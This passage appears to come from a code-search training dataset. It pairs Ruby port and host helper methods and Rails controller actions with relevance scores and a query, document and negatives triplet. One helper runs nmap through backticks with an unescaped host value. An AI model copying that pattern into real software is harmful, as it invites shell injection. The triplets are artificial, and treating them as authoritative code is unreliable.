"def get_avail_port(host)\n host ||= (Socket::gethostbyname('')||['localhost'])[0]\n\n infos = Socket::getaddrinfo(host, nil, Socket::AF_UNSPEC,\n Socket::SOCK_STREAM, 0, \n Socket::AI_PASSIVE)\n fam = infos.inject({}) { |h, arr| h[arr[0]]= arr[2]; h }\n sock_host = fam['AF_INET'] || fam['AF_INET6']\n\n sock = sock_host ? TCPServer.open(sock_host, 0) : TCPServer.open(0)\n port = sock.addr[1]\n sock.close\n\n port\n end",
"def port\n @socket.connect_address.ip_port\n rescue SocketError\n # Not bound to any local port\n rescue IOError\n # Socket has been closed\n end",
"def beef_port\n public_port || local_port\n end",
"def host_with_port\n @context.registers[:host_with_port]\n end",
"def get_service_port_or_default(host_cert, service_name, port_key)\n config = PuppetX::Puppetlabs::Meep::Config.new(closure_scope)\n services = config.services_list\n\n primary = services['primary'] || {}\n service_list = primary[service_name] || []\n service_config = service_list.find { |e| e['certname'] == host_cert } || {}\n default = PuppetX::Puppetlabs::Meep::Defaults.parameters[port_key]\n service_config['port'] || default\n end",
"def port\n @port ||= use_ssl ? 636 : 389\n end",
"def ssh_port(expected)\n expected\n end",
"def port\n get_value :port\n end",
"def base_port\n (options[:port] || env[\"PORT\"] || ENV[\"PORT\"] || 5000).to_i\n end",
"def ssh_port(expected)\n end",
"def find_available_port\n server = TCPServer.new(\"127.0.0.1\", 0)\n server.addr[1]\n ensure\n server.close if server\n end",
"def standard_port; end",
"def check_port(port)\n (port < 8000 || port > 65535) ? nil : port\n end",
"def preferred_port\n @preferred_port\n end",
"def current_host_with_port\n uri = URI.parse(current_url)\n \"#{uri.scheme}://#{uri.host}:#{uri.port}\"\n end",
"def port\n if !block_given?\n return @j_del.java_method(:port, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling port()\"\n end",
"def port=(_arg0); end",
"def ssh_port\n max_adapters = machine.parent.system_properties.get_max_network_adapters(machine.chipset_type)\n\n max_adapters.times do |i|\n adapter = machine.get_network_adapter(i)\n\n port_details = adapter.nat_driver.redirects.detect do |redirect|\n redirect.split(',').first == 'ssh'\n end\n\n if port_details\n return port_details.split(',')[3]\n end\n end\n\n nil\n end",
"def available_endpoint\n \"0.0.0.0:#{available_port}\"\n end",
"def to_port\n port = @uri.port\n\n # @uri.port defaults port to 80/443 if missing, so we check for :#{port}.\n return nil unless port\n return nil unless include?(\":#{port}\")\n\n Wgit::Url.new(port.to_s)\n end",
"def getPort()\n return @uri.port\n end",
"def obtain_port\n server = TCPServer.new(\"127.0.0.1\", 0)\n port = server.addr[1]\n server.close\n port\n end",
"def find_open_port\n server = TCPServer.new('127.0.0.1', 0)\n port = server.addr[1]\n server.close\n port\n end",
"def local_port\n return @local_port\n end",
"def path\n port == nil ? \"http://#{ip}#{suffix}\" : \"http://#{ip}:#{port}#{suffix}\"\n end",
"def port\n @port ||= presenter.port\n end",
"def url\n \"#{scheme}://#{domain}\" + ((port == 80) ? '' : \":#{port}\")\n end",
"def find_available_port\n server = TCPServer.new(FIND_AVAILABLE_PORT)\n server.addr[1]\n ensure\n server.close if server\n end",
"def url\n \"#{scheme}://#{domain}\" + ((port == 80) ? \"\" : \":#{port}\")\n end",
"def available_port\n server = TCPServer.new('0.0.0.0', 0)\n server.addr[1].tap do\n server.close\n end\n end",
"def searchkick_port\n return nil unless @@url.is_valid_searchkick_url?\n\n port = @@url[/:([0-9]{0,5}$)/, 1]\n return port.to_i if port.present?\n nil\n end",
"def port\n return @port.to_i\n end",
"def port=(_); end",
"def transport_port=(port)\n if port.match /\\//\n\n end\n end",
"def find_port(port)\n port += 1 while port_bound?('127.0.0.1', port)\n port\nend",
"def authority\n if port == default_port\n host\n else\n \"#{host}:#{port}\"\n end\n end",
"def mail_port\n if @yaml[\"mail\"][\"port\"] != 0\n @yaml[\"mail\"][\"port\"]\n end\n end",
"def host_and_port\n return roles[:web].servers.first.host, ssh_options[:port] || roles[:web].servers.first.port || 22\n end",
"def address\n @address ||= \"#{@options[:host]}:#{@options[:port]}\"\n end",
"def port\n ssl ? 443 : 80\n end",
"def true_port\r\n port = servlet_response.getLocalPort\r\n $log.debug(\"True port is #{port}\")\r\n port\r\n end",
"def port\n @options[:port]\n end",
"def check_port(v)\n return v unless v\n\n if @opaque\n raise InvalidURIError,\n \"can not set port with registry or opaque\"\n elsif !v.kind_of?(Integer) && parser.regexp[:PORT] !~ v\n raise InvalidComponentError,\n \"bad component(expected port component): #{v.inspect}\"\n end\n\n return true\n end",
"def maybe_add_port\n if ENV['BONSAI_URL'].present?\n uri = URI.parse(@@url) rescue ''\n if uri.kind_of?(URI::HTTPS) || uri.kind_of?(URI::HTTP)\n port = (uri.kind_of?(URI::HTTPS)) ? 443 : 80\n if !@@port.present?\n log(\"Bonsai: Appending port #{port} to the cluster URL for production environment.\")\n return \"#{@@url}:#{port}\".gsub('::', ':')\n elsif @@port != port\n log(\"Bonsai: Overriding the requested port #{@@port} with the standard #{port} for production environment.\")\n return \"#{@@url.rpartition(':').first}:#{port}\"\n end\n end\n end\n @@url\n end",
"def port\n raise \"Http-server not spawned yet. Call Hayabusa#start to spawn it.\" if !@httpserv\n return @httpserv.server.addr[1]\n end",
"def host(value = nil)\n if value\n @host = value\n else\n @host ||= 'localhost'\n end\n end",
"def src_port\n @src_port.length == 1 ? @src_port[0] : @src_port\n end",
"def host_with_port\n WaterManager.singleton.http_host\n end",
"def get_available_port(host)\n (7000..7100).each do |port|\n status = `nmap -Pn -p #{port} #{host} | grep #{port} | awk '{print $2}'`.chomp(\"\\n\")\n return port if status.eql? 'closed'\n end\n nil\n end",
"def port\n return @port if @port\n\n @server = TCPServer.new('127.0.0.1', 0)\n @port = @server.addr[1].to_i\n @server.close\n\n return @port\n end",
"def get_host(endpoint)\n puts \"recieved : \"+ endpoint.to_s\n puts \"port : \"+ endpoint.port.to_s\n if endpoint.port\n if ((endpoint.port == 443) || (endpoint.port == 80))\n return endpoint.host\n else\n return endpoint.host + \":\" + endpoint.port.to_s\n end\n else\n #return endpoint.host\n return endpoint.host + \":\" + endpoint.port.to_s\n end\n end",
"def port\n conf['port'] || '80'\n end",
"def host\n # find host in opts first\n host = options[:host] || @configuration['host']\n host = 'http://api.unipept.ugent.be' if host.nil? || host.empty?\n\n # add http:// if needed\n if host.start_with?('http://', 'https://')\n host\n else\n \"http://#{host}\"\n end\n end",
"def port=(port)\n set_default :port, port\n end",
"def port=(v)\n check_port(v)\n set_port(v)\n port\n end",
"def port_required\n data.port_required\n end",
"def socket_port(uri)\n secure_uri?(uri) ? 443 : 80\n end",
"def port\n @hash[\"Listen\"].to_i\n end",
"def hostinfo\n return self.host.to_s + (self.port ? ':' + self.port.to_s : '')\n end",
"def http_port\n use_ssl? ? 443 : 80\n end"
] |
[
"0.7663858",
"0.73588896",
"0.7333526",
"0.71444106",
"0.70652854",
"0.7048128",
"0.7034594",
"0.70061225",
"0.6895596",
"0.6804654",
"0.67131305",
"0.66542584",
"0.6651736",
"0.6595916",
"0.65558726",
"0.65549535",
"0.65393084",
"0.64886016",
"0.6436052",
"0.6415306",
"0.6401731",
"0.63799775",
"0.6375684",
"0.6367575",
"0.6367401",
"0.63641506",
"0.63635457",
"0.63635457",
"0.63415915",
"0.6340155",
"0.6307268",
"0.63039464",
"0.6299688",
"0.62621087",
"0.62621087",
"0.6254325",
"0.62542135",
"0.62542135",
"0.623221",
"0.62177765",
"0.62105954",
"0.62022775",
"0.6199009",
"0.61863756",
"0.61845297",
"0.61681175",
"0.612924",
"0.6117493",
"0.60907364",
"0.60688955",
"0.6054622",
"0.60522234",
"0.6027163",
"0.6003602",
"0.6002996",
"0.5986914",
"0.5984251",
"0.5983979",
"0.5975151",
"0.5962774",
"0.5961127",
"0.5952344",
"0.59361285",
"0.59314567",
"0.59267926",
"0.5899436",
"0.58916825",
"0.5890532",
"0.5886422",
"0.5881907",
"0.5874536",
"0.58570236",
"0.5854835",
"0.58347553",
"0.58124816",
"0.5802751",
"0.57980806",
"0.5796215",
"0.5783943",
"0.57804996",
"0.57789904",
"0.5778874",
"0.5768788",
"0.57671523",
"0.57537085",
"0.57536423",
"0.57513905",
"0.5745282",
"0.5745011",
"0.5743995",
"0.5740943",
"0.5729994",
"0.5725021",
"0.5723729",
"0.5715667",
"0.5714654",
"0.5708705",
"0.56954354",
"0.5693645",
"0.5691035"
] |
0.7835748
|
0
|
GET /trucks GET /trucks.json
|
def index
@trucks = Truck.all
# @locations = Location.all
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @trucks = Truck.all\n\n render json: @trucks\n end",
"def index\n @trucks = Truck.all\n end",
"def show\n render json: @truck\n end",
"def index\n @trucks = Truck.all\n\n if params[:name]\n @trucks = @trucks.where(name: params[:name])\n end\n\n if params[:category]\n category = Category.find_by_name(params[:category])\n @trucks = Truck.includes(:categories).where(categories: {name: params[:category]})\n end\n\n if params[:location]\n location = Location.find_by_name(params[:location])\n @trucks = Truck.includes(:locations).where(locations: {name: params[:location]})\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @trucks.as_json({}) }\n end\n end",
"def show\n @trucking = Trucking.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trucking }\n end\n end",
"def index\n trips = Trip.all\n render json: trips\n end",
"def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def trucks\n FoodTruck.find(truck_ids)\n end",
"def get_carriers\n @transporter = Transporter.find(params[:id])\n\n render json: @transporter.carriers\n end",
"def index\n @trips = Trip.all\n render :json => @trips\n end",
"def index\n\t\t[:s, :f].each do |k|\n\t\t\tunless params[k].nil?\n\t\t\t\tn = params[k]\n\t\t\t\t(@p ||= {})[k] = Target.get_from_id_type( n[:id], n[:type] ) unless n[:id].nil? || n[:type].nil?\n\t\t\t\t@p[k] ||= Yard.where( :city => n[:city] ) if n[:type] == \"yard\"\n\t\t\tend # unless no k\n\t\tend # each k\n\t\tunless @p.nil?\n\t\t\t@trucks = Truck.to_and_from( @p[:f], @p[:s] ) unless @p[:f].nil? || @p[:s].nil?\n\t\t\t@trucks ||= Truck.from(@p[:s]) unless @p[:s].nil?\n\t\t\t@trucks ||= Truck.to(@p[:f]) unless @p[:f].nil?\n\t\t\t# raise \"NO TRUCK ERROR\" if @trucks.empty?\n\t\t\t@trucks.each do |truck|\n\t\t\t\traise \"why nil? #{truck.to_json}\" if truck.destination.at.nil?\t\n\t\t\tend # each nil check\n\t\telse\n\t\t\t@trucks ||= Truck.order(\"price ASC\").limit(10)\n\t\tend # unless p nil\n\t\trespond_to do |f|\n\t\t\tf.json { render \"truck\", :handler => [\"json_builder\"] }\n\t\t\tf.js\n\t\tend # respond_to f\n\tend",
"def index\n @truckers = Trucker.all\n end",
"def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end",
"def index\n vehicle_id = params[:vehicle_id]\n shift_date = Date.today\n\n begin\n @shifts = Shift.by_vehicle_and_date(vehicle_id, shift_date)\n rescue\n errors = \"Error\"\n render json: errors.to_json, status: 400\n return\n end\n\n respond_with(@shifts)\n\n # render json: trips, status: :ok\n end",
"def index\n @food_trucks = FoodTruck.all\n end",
"def index\n trips = Trip.all\n respond_with trips\n end",
"def index\n @flights = Flight.all\n render json: @flights\n end",
"def nearby_truckers\n id = nearby_truckers_params[:id].to_i\n begin\n city = Shipment.find(id).origin_city\n truckers = Trucker.where(last_location_city: city)\n json = { truckers: truckers.map do |t|\n { id: t[:id],\n name: t[:name],\n phone: t[:phone],\n vehicle: { type: t[:vehicle_type],\n body_type: t[:vehicle_body_type] } }\n end }\n render json: json,\n status: :ok\n rescue\n render json: { error: 'Can\\'t find id: #{id}' },\n status: :unprocessable_entity\n end\n end",
"def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def get_travellers\n if current_user != nil\n @trip = Trip.find(params[:id])\n render json: @trip.trip_json\n else\n render json: session[:trip].trip_json\n end\n\n end",
"def index\n schedules = Schedule.where(trip_id: params[:trip_id])\n respond_with schedules\n end",
"def index\n search = TripSearch.new(search_params)\n trips = Trip.apply_scopes(\n search.start_location,\n search.driver_name,\n search.rider_name\n )\n\n render json: trips\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end",
"def index\n # Get trips for the trip type\n trips = Trip.all.where(trip_type: params[:trip_type] || 2)\n # (optional) if city_id params was provided\n trips = trips.joins(:city).where(\"cities.id = ?\", params[:city_id]) if params[:city_id]\n # (optional) if country_id params was provided\n trips = trips.joins(:city => :country).where(\"countries.id = ?\", params[:country_id]) if params[:country_id]\n # (optional) if sort params was provided\n if params[:sort]\n \n case params[:sort].downcase\n when 'popularity' # by number of bookings\n trips = trips.most_popular\n when 'rating' # by rating of reviews\n trips = trips.best_rated\n end\n\n end\n\n # Paginate\n trips = trips.page(params[:page] || 1).per(params[:per_page] || 20)\n\n render json: {\n trips: ActiveModelSerializers::SerializableResource.new(trips, each_serializer: TripSerializer),\n total: trips.total_count,\n page: trips.current_page,\n per_page: trips.limit_value\n }\n end",
"def vehicles_all\n @work_order_vehicles = WorkOrderVehicle.by_id\n render json: serialized_work_order_vehicles(@work_order_vehicles)\n end",
"def index\n @vehicles = Vehicle.all\n if @vehicles.present?\n \trender json: { vehicles: @vehicles, status: :ok }\n else\n render json: { :status => \"204\", :message => \"There is not vehicles\" }, status: :no_content\n end\n end",
"def index\n @cartridges = Cartridge.all\n\n respond_to do |format|\n format.html\n format.json { render json: @cartridges }\n end\n end",
"def trims(year, model)\n model_id = get_object_id model\n response = get_url \"Trims/#{year}/#{model_id}\"\n response_obj = JSON.parse response\n response_obj[\"GetTrimsResult\"].map{|r| Models::Vehicle.from_response_hash(r)}\n end",
"def trips\n get '/gtfs/trips'\n end",
"def index\n @truck = Truck.find(params[:truck_id])\n @service_logs = ServiceLog.find_all_by_truck_id(params[:truck_id])\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @service_logs }\n end\n end",
"def show\n render json: @trip\n end",
"def show\n render json: @trip\n end",
"def show\n travels = Travel.find(params[:id])\n render json: travels, status: :ok\n end",
"def index\n if !params[:owner].blank?\n @trucks = Truck.where(truck_owner: params[:owner])\n else\n @trucks = Truck.all\n end\n end",
"def index\n @tunes = Tune.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tunes }\n end\n end",
"def index\n\t\t@flights = Flight.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # index.html.erb\n\t\t\tformat.json { render json: @flights }\n\t\tend\n\tend",
"def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtime.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n @ducks = Duck.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @ducks }\n end\n end",
"def index\n @vehicle_types = VehicleType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicle_types }\n end\n end",
"def index\n authenticate_request!\n @cars = Car.all\n\n render json: @cars\n end",
"def index\n return render json: {message: 'Public users cannot list tours'}, status: 403 if current_user.public?\n @tours = TourServices::TourFilterApi.new(user: current_user,\n status: params[:status],\n type: params[:type],\n vehicle_type: params[:vehicle_type],\n latitude: params[:latitude],\n longitude: params[:longitude],\n distance: params[:distance],\n page: params[:page],\n per: per).tours\n render json: @tours, status: 200, each_serializer: ::V1::TourSerializer, scope: {user: current_user}\n end",
"def index\n @turmas = Turma.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @turmas }\n end\n end",
"def index\n @tacks = Tack.all\n\n render json: @tacks\n end",
"def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end",
"def taken\n @travels = Travels::Travel.taken.where(performer: current_user)\n\n respond_to do |format|\n format.html { render \"travels/index\" }\n format.json { as_json @travels }\n end\n end",
"def index\n @cars = Car.all\n\n render json: @cars\n end",
"def index\n @cars = Car.all\n render json: @cars\n end",
"def get_trip_listing \n\t\t@trip = Trip.find_by(_id: trip_params[:trip_id])\n\t\tif current_user.trips_driving.include?(trip_params[:trip_id]) || current_user.past_trips_driven.include?(trip_params[:trip_id])\n\t\t\t@user_requests = User.where(:_id.in => @trip.user_requests).map { |user|\n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name,\n\t\t\t\t\tfacebook_link: user.facebook_link,\n\t\t\t\t\temail: user.email,\n\t\t\t\t\tphone_number: user.phone_number\n\t\t\t\t}\n\t\t\t}\n\t\t\t@accepted_users = User.where(:_id.in => @trip.accepted_users).map { |user| \n\t\t\t\tuser = {\n\t\t\t\t\t_id: user.id,\n\t\t\t\t\tfirst_name: user.first_name,\n\t\t\t\t\tlast_name: user.last_name,\n\t\t\t\t\tfacebook_link: user.facebook_link,\n\t\t\t\t\temail: user.email,\n\t\t\t\t\tphone_number: user.phone_number\n\t\t\t\t}\n\t\t\t}\n\t\t\trender json: {\n\t\t\t\tstatus: 'success',\n\t\t\t\ttrip: {\n\t\t\t\t\ttrip_details: @trip,\n\t\t\t\t\tuser_requests: @user_requests,\n\t\t\t\t\taccepted_users: @accepted_users\n\t\t\t\t}\n\t\t\t}\n\t\telse\n\t\t\trender json: {\n\t\t\t\tstatus: 'error',\n\t\t\t\tmessage: 'This user is not the driver for this trip'\n\t\t\t}\n\t\tend\n\tend",
"def index\n @torrents = Torrents.new(:url => \"http://newt.local:9091/transmission/rpc\").load\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @torrents }\n end\n end",
"def index\n @trip_routes = TripRoute.all\n end",
"def index\n @rides = Ride.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @rides\n end",
"def index\n @rents = Rent.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @rents }\n end\n end",
"def index\n @flights = Flight.all\n\n respond_to do |format|\n format.html \n format.json { render json: @flights, :include => [:airplane, :reservations, :users, :seats] }\n end\n end",
"def index\n render json: reservations\n end",
"def index\n recipes = Recipe.all\n render status: :ok, json: recipes\n end",
"def index\n info = Aws.get_recipes_from_db\n render :json => info\n end",
"def show\n @tripJson = []\n @trip.segments.order(:order).each do |segment|\n locations = []\n segment.locations.order(:order).each do |location|\n locations << {:id => location.id, :lat => location.latitude, :lng => location.longitude }\n end\n @tripJson << {:id => segment.id, :transportation => segment.transportation, :locations => locations}\n end\n end",
"def index\n @stations = Station.all\n\n render json: @stations\n end",
"def index\n @tutor = Tutor.all\n\n render json: @tutor, status: :ok\n end",
"def index\n json_response(Restaurant.all)\n end",
"def show\n render json: @tenure\n end",
"def index\n @bikes = Bike.all.order(\"display_order\")\n render json: @bikes.includes(:specifications) #each_serializer: Web::V1::BikeSerializer\n end",
"def index \n render json: Tuning.all\n end",
"def flights\n result = Search.search_flights(params)\n if result\n # The search gave us something so we can return it\n render json: result\n else\n # Something went wrong, return a 500 error with no body\n render status: 500, json: nil\n end\n end",
"def index\n @stolen_vehicles = StolenVehicle.all\n end",
"def listRestaurants\n _restaurants = Restaurant.all\n render json: _restaurants\n end",
"def index\n @tollstations = Tollstation.all\n end",
"def index\n @recipes = Recipe.all\n render json: @recipes\n end",
"def trips\n @trip_requests = current_user.trip_requests.trips.paginate(page:params[:page], per_page:20)\n json_response(@trip_requests)\n end",
"def index\n @tenures = Tenure.all.order(\"updated_at DESC\").order(\"created_at DESC\")\n\n render json: @tenures\n end",
"def index\n @lugars = Lugar.all\n\n render json: @lugars\n end",
"def index *_\n @trades = owned_trades_view\n\n render json: @trades\n end",
"def index\n @rentals = @car.rentals.all\n end",
"def index\n @trips = Trip.all\n end",
"def index\n @trips = Trip.all\n end",
"def index\n @trips = Trip.all\n end",
"def index\n @trips = Trip.all\n end",
"def index\n @trips = Trip.all\n end",
"def index\n @trips = Trip.all\n end",
"def index\n @trips = Trip.all\n end",
"def index\n @trades = Trade\n .only(:created_at, :is_fair, :ash_pokemons, :brock_pokemons)\n respond_to do |format|\n format.json { render json: @trades }\n end\n end",
"def index\n @travels = Travel.all\n end",
"def index\n @travels = Travel.all\n end",
"def index\n @delivery_trucks = DeliveryTruck.where(user_id: current_user)\n @vehicles = Vehicle.all\n end",
"def index\n @class_trips = ClassTrip.all\n end",
"def index\n @used_bikes = UsedBike.all\n\n render json: @used_bikes, each_serializer: Web::V1::UsedBikeSerializer\n end",
"def index\n @transfers = Transfer.all\n render json: @transfers\n end",
"def index\n @stations = Station.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @stations }\n end\n end",
"def index\n @trades = Trade.all\n render json: @trades\n end",
"def show\r\n @truck=Truck.find(params[:id])\r\n @stock_truck=@truck.stock_truck\r\n drop_breadcrumb(t(\"stock_trucks.stock_trucks\"),stock_trucks_path)\r\n drop_breadcrumb(t(\"trucks.trucks\"),trucks_path)\r\n drop_breadcrumb(t(\"trucks.detail\"))\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.xml { render :xml => @truck }\r\n end\r\n end",
"def index\n @truck_cashes = TruckCash.all\n end",
"def index\n @vehicles = Vehicle.all\n end",
"def index\n @tottles = Tottle.all\n end",
"def index\n @rides = Ride.all\n respond_with @rides, status: :ok\n end",
"def index\n Rails.logger.info('👻 Disraptor: Showing available routes.')\n\n routes = Disraptor::Route.find_all()\n\n render json: { 'disraptor/routes': routes }\n end"
] |
[
"0.80307823",
"0.731416",
"0.7164783",
"0.7121897",
"0.69296175",
"0.67625904",
"0.6720958",
"0.6694923",
"0.6692682",
"0.6692682",
"0.66825765",
"0.6666734",
"0.6609426",
"0.6608989",
"0.6602574",
"0.6591275",
"0.6587129",
"0.6566902",
"0.64538693",
"0.6440638",
"0.64291596",
"0.63750327",
"0.63717604",
"0.6345062",
"0.63408697",
"0.6331054",
"0.6316481",
"0.63087213",
"0.6302826",
"0.6242585",
"0.62181145",
"0.62122804",
"0.6205464",
"0.61981255",
"0.6187953",
"0.6187953",
"0.61659944",
"0.61574566",
"0.6156062",
"0.61393404",
"0.61161846",
"0.6115428",
"0.61128056",
"0.6112547",
"0.6093213",
"0.60913545",
"0.6087534",
"0.6079188",
"0.60765487",
"0.6070182",
"0.60685736",
"0.6068527",
"0.6068355",
"0.60664654",
"0.6063661",
"0.6061583",
"0.6061519",
"0.6049813",
"0.60334843",
"0.60191494",
"0.6019122",
"0.601463",
"0.6012898",
"0.6012216",
"0.6000835",
"0.60008",
"0.5985899",
"0.5982502",
"0.5982068",
"0.59805083",
"0.59775925",
"0.5975299",
"0.5969947",
"0.5967936",
"0.5941898",
"0.59336907",
"0.59324306",
"0.5923141",
"0.59171915",
"0.59171915",
"0.59171915",
"0.59171915",
"0.59171915",
"0.59171915",
"0.59171915",
"0.59166837",
"0.59067035",
"0.59067035",
"0.5904895",
"0.5904676",
"0.5901417",
"0.5895231",
"0.58911145",
"0.58902615",
"0.5885778",
"0.5879367",
"0.5878628",
"0.5875157",
"0.58736646",
"0.5871124"
] |
0.6952556
|
4
|
GET /trucks/1 GET /trucks/1.json
|
def show
@truck_owner = @truck.truck_owner
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @trucks = Truck.all\n\n render json: @trucks\n end",
"def show\n render json: @truck\n end",
"def show\n @trucking = Trucking.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trucking }\n end\n end",
"def index\n @trucks = Truck.all\n end",
"def index\n @trucks = Truck.all\n\n if params[:name]\n @trucks = @trucks.where(name: params[:name])\n end\n\n if params[:category]\n category = Category.find_by_name(params[:category])\n @trucks = Truck.includes(:categories).where(categories: {name: params[:category]})\n end\n\n if params[:location]\n location = Location.find_by_name(params[:location])\n @trucks = Truck.includes(:locations).where(locations: {name: params[:location]})\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render json: @trucks.as_json({}) }\n end\n end",
"def trips\n flight = Flight.where(\"id = ?\", params[:id]).take\n if flight.nil?\n render :json => {errors: \"404\"}, :status => 404\n else\n respond_with( flight.trips )\n end\n end",
"def index\n trips = Trip.all\n render json: trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trips = Trip.all\n\n render json: @trips\n end",
"def index\n @trucks = Truck.all\n # @locations = Location.all\n end",
"def index\n @trips = Trip.desc.all\n @latest_trip = @trips.first\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @trips }\n end\n end",
"def get_carriers\n @transporter = Transporter.find(params[:id])\n\n render json: @transporter.carriers\n end",
"def index\n @vehicle_realtimes = VehicleRealtime.all\n \n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtimes.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n @trips = Trip.all\n render :json => @trips\n end",
"def show\n render json: @trip\n end",
"def show\n render json: @trip\n end",
"def index\n vehicle_id = params[:vehicle_id]\n shift_date = Date.today\n\n begin\n @shifts = Shift.by_vehicle_and_date(vehicle_id, shift_date)\n rescue\n errors = \"Error\"\n render json: errors.to_json, status: 400\n return\n end\n\n respond_with(@shifts)\n\n # render json: trips, status: :ok\n end",
"def index\n @treks = Trek.all\n @title = \"Trekking routes and destinations\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @treks }\n end\n end",
"def show\n travels = Travel.find(params[:id])\n render json: travels, status: :ok\n end",
"def flights\n trip = Trip.where('id = ?', params[:id]).take\n if !trip.nil\n respond_with( trip.flights )\n else\n render :json => { error: 404 }, :status => 404\n end\n end",
"def show\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip }\n end\n end",
"def show\n @trip = Trip.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip }\n end\n end",
"def new\n @trucking = Trucking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trucking }\n end\n end",
"def index\n @flights = Flight.all\n render json: @flights\n end",
"def index\n @food_trucks = FoodTruck.all\n end",
"def get\n appid = ENV['TRIMET_APP_ID']\n response = Unirest.get( \"http://developer.trimet.org/ws/v2/vehicles?appid=#{appid}\" )\n response.body\nend",
"def index\n @truckers = Trucker.all\n end",
"def index\n @vehicles = Vehicle.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @vehicles }\n end\n end",
"def index\n @load_vehicle = LoadVehicle.all\n respond_to do |format|\n format.json { render json: @load_vehicle }\n end\n end",
"def show\n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_realtime.to_json(:include => [:vehicle_trip, :vehicle_route, :vehicle_stop]) }\n end\n end",
"def index\n schedules = Schedule.where(trip_id: params[:trip_id])\n respond_with schedules\n end",
"def index\n\t\t[:s, :f].each do |k|\n\t\t\tunless params[k].nil?\n\t\t\t\tn = params[k]\n\t\t\t\t(@p ||= {})[k] = Target.get_from_id_type( n[:id], n[:type] ) unless n[:id].nil? || n[:type].nil?\n\t\t\t\t@p[k] ||= Yard.where( :city => n[:city] ) if n[:type] == \"yard\"\n\t\t\tend # unless no k\n\t\tend # each k\n\t\tunless @p.nil?\n\t\t\t@trucks = Truck.to_and_from( @p[:f], @p[:s] ) unless @p[:f].nil? || @p[:s].nil?\n\t\t\t@trucks ||= Truck.from(@p[:s]) unless @p[:s].nil?\n\t\t\t@trucks ||= Truck.to(@p[:f]) unless @p[:f].nil?\n\t\t\t# raise \"NO TRUCK ERROR\" if @trucks.empty?\n\t\t\t@trucks.each do |truck|\n\t\t\t\traise \"why nil? #{truck.to_json}\" if truck.destination.at.nil?\t\n\t\t\tend # each nil check\n\t\telse\n\t\t\t@trucks ||= Truck.order(\"price ASC\").limit(10)\n\t\tend # unless p nil\n\t\trespond_to do |f|\n\t\t\tf.json { render \"truck\", :handler => [\"json_builder\"] }\n\t\t\tf.js\n\t\tend # respond_to f\n\tend",
"def get_travellers\n if current_user != nil\n @trip = Trip.find(params[:id])\n render json: @trip.trip_json\n else\n render json: session[:trip].trip_json\n end\n\n end",
"def index\n trips = Trip.all\n respond_with trips\n end",
"def show\n @trip_item = TripItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @trip_item }\n end\n end",
"def trucks\n FoodTruck.find(truck_ids)\n end",
"def show\n @tenure = Tenure.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tenure }\n end\n end",
"def index\n @trip = Trip.find(params[:trip_id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
"def set_truck\n @truck = Truck.find(params[:id])\n end",
